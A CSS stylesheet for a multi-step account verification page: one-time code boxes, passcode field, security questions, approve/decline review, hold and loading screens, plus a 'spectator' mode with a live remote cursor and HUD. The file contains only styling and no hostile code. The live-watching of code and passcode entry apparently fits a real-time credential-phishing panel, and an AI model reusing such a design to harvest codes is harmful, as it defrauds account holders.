:root {
  --font: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
  --page: #0a0d15;
  --card: #1b222d;
  --card-field: #2a3442;
  --text: #ffffff;
  --muted: #aab2c1;
  --dim: #7c8698;
  --line: rgba(255, 255, 255, 0.1);
  --blue: #3f7bff;
  --blue-hover: #5a8dff;
  --blue-soft: rgba(63, 123, 255, 0.18);
  --green: #00c853;
  --red: #e53935;
  --cyan: #26c6da;
}

* {
  box-sizing: border-box;
}

html,
body {
  min-height: 100%;
  margin: 0;
}

body {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  font-family: var(--font);
  color: var(--text);
  background:
    radial-gradient(circle at 50% 108%, rgba(25, 55, 120, 0.22) 0, rgba(25, 55, 120, 0) 55%),
    #0a0e17;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}



.site-header {
  position: absolute;
  top: 20px;
  left: 14px;
  z-index: 5;
}

.site-logo {
  display: block;
  height: 26px;
  width: auto;
  object-fit: contain;
}

.site-brand {
  display: flex;
  align-items: center;
  gap: 8px;
  text-decoration: none;
}

.site-wordmark {
  color: var(--text);
  font-size: 20px;
  font-weight: 700;
  letter-spacing: -0.3px;
}



.page-shell {
  flex: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 95px 24px 81px;
}

.verification-card {
  width: min(492px, 100%);
  padding: 40px 36px 48px;
  background: #1b222c;
  border: 0;
  border-radius: 20px;
  box-shadow: 0 24px 60px rgba(0, 0, 0, 0.35);
  text-align: left;
  animation: fadeInUp 0.35s ease;
}

@keyframes fadeInUp {
  from { opacity: 0; transform: translateY(10px); }
  to { opacity: 1; transform: translateY(0); }
}

.step-view[hidden] {
  display: none !important;
}

.brand-mark {
  display: none;
}



h1 {
  margin: 0 0 12px;
  font-size: 30px;
  line-height: 1.15;
  font-weight: 700;
  letter-spacing: -0.4px;
  color: var(--text);
}

.intro {
  width: 100%;
  margin: 0 0 24px;
  color: var(--muted);
  font-size: 15px;
  line-height: 1.55;
}

.intro-wide {
  width: 100%;
}

.intro strong,
.step-detail strong {
  color: var(--text);
  font-weight: 600;
}



.verification-form {
  text-align: left;
}

.verification-form > label {
  display: block;
  margin-bottom: 12px;
  color: var(--text);
  font-size: 15px;
  font-weight: 600;
}

.code-row {
  display: grid;
  grid-template-columns: repeat(6, minmax(0, 1fr));
  gap: 10px;
  margin-bottom: 0;
}

.code-row input {
  height: 56px;
  width: 100%;
  border: 1.5px solid transparent;
  border-radius: 10px;
  outline: 0;
  color: var(--text);
  background: var(--card-field);
  font-size: 22px;
  font-weight: 500;
  text-align: center;
  caret-color: var(--blue-hover);
  transition: border-color 0.18s, box-shadow 0.18s;
}

.code-row input:focus {
  border-color: var(--blue);
  box-shadow: 0 0 0 1px var(--blue);
}

.code-row input.filled {
  border-color: transparent;
  font-weight: 700;
}

.text-input {
  width: 100%;
  height: 56px;
  padding: 0 16px;
  border: 1.5px solid transparent;
  border-radius: 10px;
  outline: 0;
  color: var(--text);
  background: var(--card-field);
  font: inherit;
  font-size: 16px;
  transition: border-color 0.18s, box-shadow 0.18s;
}

.text-input::placeholder {
  color: var(--dim);
}

.text-input:focus {
  border-color: var(--blue);
  box-shadow: 0 0 0 1px var(--blue);
}

.step-view[data-step$="Prompt"] .continue-button {
  margin-top: 24px;
}



.code-label-row,
.passcode-label-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  margin-bottom: 14px;
}

.code-label-row label,
.passcode-label-row label {
  margin: 0;
  color: var(--text);
  font-size: 15px;
  font-weight: 600;
}

.eye-toggle {
  display: flex;
  align-items: center;
  padding: 2px;
  border: 0;
  background: none;
  color: #8b95a7;
  cursor: pointer;
  transition: color 0.2s;
}

.eye-toggle:hover {
  color: var(--text);
}



.resend-button {
  display: block;
  margin: 36px auto 0;
  padding: 0;
  border: 0;
  background: none;
  color: #3d7cf5;
  font: inherit;
  font-size: 13.5px;
  font-weight: 600;
  cursor: default;
  transition: color 0.2s;
}

.resend-button.ready {
  color: #3d7cf5;
  cursor: pointer;
}

.resend-button.ready:hover {
  color: #6b9bff;
  text-decoration: underline;
}



.approval-button,
.continue-button,
.decline-button {
  width: 100%;
  min-height: 54px;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 10px;
  border: 0;
  border-radius: 12px;
  font: inherit;
  font-size: 15px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.2s, opacity 0.2s;
}

.approval-button,
.continue-button {
  margin-bottom: 12px;
  color: #fff;
  background: var(--blue);
}

.approval-button:hover,
.continue-button:hover {
  background: var(--blue-hover);
}

.approval-button:disabled,
.continue-button:disabled {
  background: #2b3342;
  color: rgba(255, 255, 255, 0.35);
  cursor: not-allowed;
}

.approval-button:disabled:hover,
.continue-button:disabled:hover {
  background: #2b3342;
}

.decline-button {
  margin-bottom: 12px;
  color: var(--muted);
  background: rgba(255, 255, 255, 0.05);
  border: 1px solid rgba(255, 255, 255, 0.08);
}

.decline-button:hover {
  background: rgba(255, 255, 255, 0.09);
}

.arrow-right {
  font-size: 18px;
}

.login-option {
  background: rgba(255, 255, 255, 0.06);
  border: 1px solid rgba(255, 255, 255, 0.1);
}

.login-option:hover {
  background: rgba(255, 255, 255, 0.1);
}



.step-title-left {
  text-align: left;
  margin: 0 0 10px;
}

.intro-left {
  text-align: left;
  color: var(--muted);
  font-size: 15px;
  line-height: 1.6;
  margin: 0 0 28px;
}

.review-actions {
  display: flex;
  flex-direction: column;
}

.review-actions-row {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 12px;
  margin-bottom: 12px;
}


.review-actions-row .approval-button,
.review-actions-row .decline-button {
  margin-bottom: 0;
  background: transparent;
  color: var(--muted);
}


.review-actions-row .approve-button,
.review-actions-row .decline-button {
  border: 1px solid rgba(255, 255, 255, 0.18);
}

.review-actions-row .approve-button:hover,
.review-actions-row .decline-button:hover {
  background: transparent;
  border-color: rgba(255, 255, 255, 0.4);
  color: #fff;
}

.review-actions-row .approve-button:disabled,
.review-actions-row .decline-button:disabled {
  background: transparent;
  border-color: rgba(255, 255, 255, 0.1);
  color: rgba(255, 255, 255, 0.3);
  cursor: not-allowed;
}

.review-actions-row .approve-button.selected,
.review-actions-row .approve-button.selected:hover {
  background: var(--green);
  border-color: var(--green);
  color: #fff;
  box-shadow: none;
}

.review-actions-row .decline-button.selected,
.review-actions-row .decline-button.selected:hover {
  background: var(--red);
  border-color: var(--red);
  color: #fff;
  box-shadow: none;
}


.step-error {
  margin: 14px auto 0;
  max-width: 420px;
  color: #ff6b66;
  font-size: 13px;
  font-weight: 600;
  line-height: 1.45;
  text-align: center;
}


.review-changes {
  margin: 0 0 24px;
}

.review-change .step-detail {
  margin-bottom: 0;
}

.review-details {
  background: rgba(255, 255, 255, 0.03);
  border: 1px solid rgba(255, 255, 255, 0.06);
  border-radius: 12px;
  padding: 4px 0;
  margin-bottom: 24px;
}

.detail-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 14px 18px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}

.detail-row:last-child {
  border-bottom: 0;
}

.detail-label {
  color: var(--dim);
  font-size: 13px;
  font-weight: 600;
}

.detail-value {
  color: var(--text);
  font-size: 13.5px;
  font-weight: 600;
}

.dots-container {
  display: flex;
  align-items: center;
  gap: 10px;
  margin: 0 0 32px;
}

.dot {
  position: relative;
  width: 10px;
  height: 10px;
  border-radius: 5px;
  background: rgba(255, 255, 255, 0.14);
  transform: translateZ(0);
}


.dot::before {
  content: "";
  position: absolute;
  inset: 0;
  border-radius: 5px;
  background: var(--blue);
  transform: scaleX(1);
  opacity: 0;
  animation: dotPulse 2s ease-in-out infinite;
}

.dot:nth-child(1)::before { animation-delay: 0s; }
.dot:nth-child(2)::before { animation-delay: 0.4s; }
.dot:nth-child(3)::before { animation-delay: 0.8s; }

@keyframes dotPulse {
  0%, 100% { transform: scaleX(1); opacity: 0; }
  25% { transform: scaleX(1.8); opacity: 1; }
  50% { transform: scaleX(1); opacity: 0; }
}

.step-label {
  text-align: left;
  color: var(--dim);
  font-size: 12px;
  font-weight: 700;
  text-transform: uppercase;
  letter-spacing: 0.5px;
  margin-bottom: 10px;
}

.step-detail {
  text-align: left;
  color: var(--muted);
  font-size: 15px;
  line-height: 1.6;
  margin: 0 0 28px;
}



.security-questions {
  display: flex;
  flex-direction: column;
  gap: 14px;
  margin: 0 0 22px;
}

.security-question {
  position: relative;
  margin: 0;
  padding: 18px 18px 18px 50px;
  background: rgba(255, 255, 255, 0.035);
  border: 1px solid rgba(255, 255, 255, 0.08);
  border-radius: 14px;
}

.question-index {
  position: absolute;
  left: 16px;
  top: 18px;
  width: 22px;
  height: 22px;
  border-radius: 50%;
  background: rgba(255, 255, 255, 0.08);
  color: var(--dim);
  font-size: 11px;
  font-weight: 700;
  display: flex;
  align-items: center;
  justify-content: center;
}

.security-question .step-detail {
  margin: 0 0 14px;
}

.security-question .review-actions-row {
  margin-bottom: 0;
}

.step-view[data-step="securityQuestion"] .continue-button {
  margin-top: 4px;
}



.warning-note {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  margin: 18px 0 20px;
  color: var(--dim);
  font-size: 12.5px;
  text-align: center;
}

.warning-icon {
  width: 16px;
  height: 16px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  background: rgba(255, 255, 255, 0.08);
  color: var(--dim);
  font-size: 11px;
  font-weight: 700;
  flex-shrink: 0;
}

.support {
  margin: 24px 0 0;
  color: #8a92a4;
  font-size: 13.5px;
  font-weight: 500;
  text-align: center;
}

.support a,
.forgot-passcode a {
  color: #3d7cf5;
  text-decoration: none;
}

.support a:hover,
.forgot-passcode a:hover {
  text-decoration: underline;
}

.forgot-passcode {
  margin: 20px 0 0;
  color: var(--dim);
  font-size: 13px;
  text-align: center;
}



.step-view[data-step="password"] .verification-form {
  width: 100%;
}

.step-view[data-step="password"] .forgot-passcode {
  margin-top: 22px;
}



.transition-message {
  color: var(--muted);
  font-size: 15px;
  line-height: 1.55;
  margin-top: 20px;
  text-align: center;
}

.step-view[data-step^="waiting"] {
  text-align: center;
}

.loading-spinner-large {
  width: 34px;
  height: 34px;
  margin: 0 auto 26px;
  border-radius: 50%;
  border: 2px solid rgba(255, 255, 255, 0.14);
  border-top-color: #ffffff;
  animation: spin 0.9s linear infinite;
}

.hold-icon {
  width: 58px;
  height: 58px;
  margin: 4px auto 24px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  background: rgba(245, 186, 63, 0.12);
  border: 1.5px solid rgba(245, 186, 63, 0.45);
  color: #f5ba3f;
  font-size: 30px;
  font-weight: 700;
  line-height: 1;
}

.step-view[data-step="securityHold"] {
  text-align: center;
}

.step-view[data-step="securityHold"] h1 {
  text-align: center;
}

.step-view[data-step="securityHold"] .intro {
  text-align: center;
}

.step-view[data-step="securityHold"] .loading-details {
  margin-top: 26px;
  text-align: left;
}

@keyframes spin {
  to { transform: rotate(360deg); }
}

.step-view[data-step="loading"],
.step-view[data-step="confirmed"],
.step-view[data-step="declined"] {
  text-align: center;
}

.step-view[data-step="loading"] h1,
.step-view[data-step="confirmed"] h1,
.step-view[data-step="declined"] h1 {
  text-align: center;
}

.step-view[data-step="loading"] .intro,
.step-view[data-step="confirmed"] .intro,
.step-view[data-step="declined"] .intro {
  text-align: center;
}

.loading-details {
  background: rgba(255, 255, 255, 0.03);
  border: 1px solid rgba(255, 255, 255, 0.06);
  border-radius: 12px;
  margin-bottom: 28px;
  overflow: hidden;
}

.loading-detail-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 14px 18px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}

.loading-detail-row:last-child {
  border-bottom: 0;
}

.loading-detail-label {
  color: var(--dim);
  font-size: 13px;
  font-weight: 600;
}

.loading-detail-value {
  color: var(--text);
  font-size: 13.5px;
  font-weight: 600;
  font-family: var(--font);
  letter-spacing: 0.5px;
}

.loading-eta {
  margin-bottom: 24px;
}

.loading-eta-text {
  color: var(--dim);
  font-size: 12px;
  font-weight: 600;
  text-transform: uppercase;
  letter-spacing: 0.5px;
  margin-bottom: 6px;
}

.loading-eta-time {
  color: var(--text);
  font-size: 28px;
  font-weight: 800;
}

.loading-status-bar {
  width: 100%;
  height: 4px;
  background: rgba(255, 255, 255, 0.06);
  border-radius: 2px;
  overflow: hidden;
  margin-bottom: 12px;
}

.loading-status-fill {
  height: 100%;
  width: 0%;
  background: linear-gradient(90deg, var(--blue), var(--cyan));
  border-radius: 2px;
  transition: width 1s linear;
}

.loading-status-text {
  color: var(--dim);
  font-size: 13px;
  font-weight: 500;
}

.success-icon {
  width: 64px;
  height: 64px;
  margin: 0 auto 20px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  background: rgba(0, 200, 83, 0.12);
  border: 2px solid var(--green);
  color: var(--green);
  font-size: 28px;
  font-weight: 700;
}

.decline-icon {
  width: 64px;
  height: 64px;
  margin: 0 auto 20px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  background: rgba(229, 57, 53, 0.12);
  border: 2px solid var(--red);
  color: var(--red);
  font-size: 28px;
  font-weight: 700;
}

.redirect-subtext {
  color: var(--dim);
  font-size: 13px;
  margin-top: 8px;
}



.site-footer {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 32px;
  margin: 0 54px;
  padding: 20px 0 26px;
  border-top: 1px solid rgba(255, 255, 255, 0.14);
}

.footer-tagline {
  margin-bottom: 8px;
  color: var(--text);
  font-size: 12px;
  font-weight: 700;
  line-height: 1.4;
}

.footer-copy {
  color: var(--dim);
  font-size: 11.5px;
  line-height: 1.5;
}

.footer-support {
  margin-top: 8px;
  color: var(--dim);
  font-size: 11.5px;
  line-height: 1.5;
}

.footer-support a {
  color: #3d7cf5;
  text-decoration: none;
}

.footer-support a:hover {
  text-decoration: underline;
}

.footer-links {
  display: flex;
  flex-wrap: wrap;
  justify-content: flex-end;
  gap: 10px 28px;
}

.footer-links a {
  color: var(--muted);
  font-size: 11.5px;
  text-decoration: none;
}

.footer-links a:hover {
  color: var(--text);
}



@media (max-width: 560px) {
  body:not(.spectator) .page-shell {
    padding: 84px 16px 48px;
  }

  body:not(.spectator) .verification-card {
    width: 100%;
    padding: 28px 22px 30px;
    border-radius: 16px;
  }

  body:not(.spectator) h1 {
    font-size: 24px;
  }

  body:not(.spectator) .code-row {
    gap: 8px;
  }

  body:not(.spectator) .code-row input {
    height: 48px;
    font-size: 18px;
    border-radius: 9px;
  }

  body:not(.spectator) .site-footer {
    flex-direction: column;
    align-items: flex-start;
    gap: 16px;
    margin: 0 20px;
    padding: 16px 0 18px;
  }

  body:not(.spectator) .footer-links {
    gap: 18px;
  }
}


@container spectator (max-width: 560px) {
  .page-shell {
    padding: 84px 16px 48px;
  }

  .verification-card {
    width: 100%;
    padding: 28px 22px 30px;
    border-radius: 16px;
  }

  h1 {
    font-size: 24px;
  }

  .code-row {
    gap: 8px;
  }

  .code-row input {
    height: 48px;
    font-size: 18px;
    border-radius: 9px;
  }

  .site-footer {
    flex-direction: column;
    align-items: flex-start;
    gap: 16px;
    margin: 0 20px;
    padding: 16px 0 18px;
  }

  .footer-links {
    gap: 18px;
  }
}


body.spectator .step-view { pointer-events: none; }
body.spectator input { caret-color: transparent; }
body.spectator {
  cursor: default;
  overflow: hidden;
}


#spectatorStage {
  position: absolute;
  top: 0;
  left: 0;
  transform-origin: top left;
  display: flex;
  flex-direction: column;
  overflow: hidden;
  will-change: transform;
  container-type: inline-size;
  container-name: spectator;
}


body.spectator-disconnected #spectatorStage {
  filter: grayscale(0.55) brightness(0.72);
}
body.spectator-disconnected .spectator-cursor { display: none; }

.spectator-lost {
  position: fixed;
  left: 50%;
  top: 14px;
  transform: translateX(-50%);
  z-index: 2147483646;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 3px;
  max-width: 90vw;
  padding: 10px 18px;
  border-radius: 12px;
  background: rgba(229, 57, 53, 0.16);
  border: 1px solid rgba(229, 57, 53, 0.5);
  color: #fff;
  text-align: center;
  box-shadow: 0 12px 30px rgba(0, 0, 0, 0.45);
  pointer-events: none;
}
.spectator-lost[hidden] { display: none; }
.spectator-lost-head {
  display: flex;
  align-items: center;
  gap: 8px;
}
.spectator-lost-text { font-size: 13px; font-weight: 800; letter-spacing: 0.3px; }
.spectator-lost-sub { font-size: 11px; color: var(--muted); }
.spectator-lost-dot {
  width: 9px;
  height: 9px;
  border-radius: 50%;
  background: #e53935;
  animation: spectatorLostPulse 1.4s ease-out infinite;
}
@keyframes spectatorLostPulse {
  0% { box-shadow: 0 0 0 0 rgba(229, 57, 53, 0.55); }
  100% { box-shadow: 0 0 0 12px rgba(229, 57, 53, 0); }
}



.spectator-cursor {
  position: fixed;
  top: 0;
  left: 0;
  z-index: 2147483647;
  pointer-events: none;
  opacity: 1;
  transition: transform 0.08s linear, opacity 0.3s ease;
}
.spectator-cursor.idle { opacity: 0.28; }
.spectator-cursor-dot {
  position: absolute;
  left: -7px;
  top: -7px;
  width: 14px;
  height: 14px;
  border-radius: 50%;
  background: #00e676;
  border: 2px solid #fff;
  transition: transform 0.12s ease;
}
.spectator-cursor-label {
  position: absolute;
  left: 11px;
  top: 11px;
  padding: 2px 6px;
  border-radius: 4px;
  background: rgba(0, 0, 0, 0.75);
  color: #fff;
  font-size: 10px;
  font-weight: 700;
  letter-spacing: 0.4px;
  text-transform: uppercase;
  white-space: nowrap;
}
.spectator-cursor.click .spectator-cursor-dot {
  transform: scale(1.9);
}

.spectator-hud {
  position: fixed;
  top: 10px;
  right: 10px;
  z-index: 2147483646;
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  gap: 8px;
  max-width: calc(100% - 20px);
  padding: 6px 10px;
  border-radius: 8px;
  background: rgba(8, 12, 20, 0.82);
  border: 1px solid rgba(255, 255, 255, 0.12);
  color: #cbd5e1;
  font-family: 'Inter', sans-serif;
  font-size: 10px;
  font-weight: 600;
  pointer-events: none;
  backdrop-filter: blur(4px);
}
.spectator-hud-live { color: #00e676; font-weight: 800; letter-spacing: 0.5px; }
.spectator-hud[hidden] { display: none; }
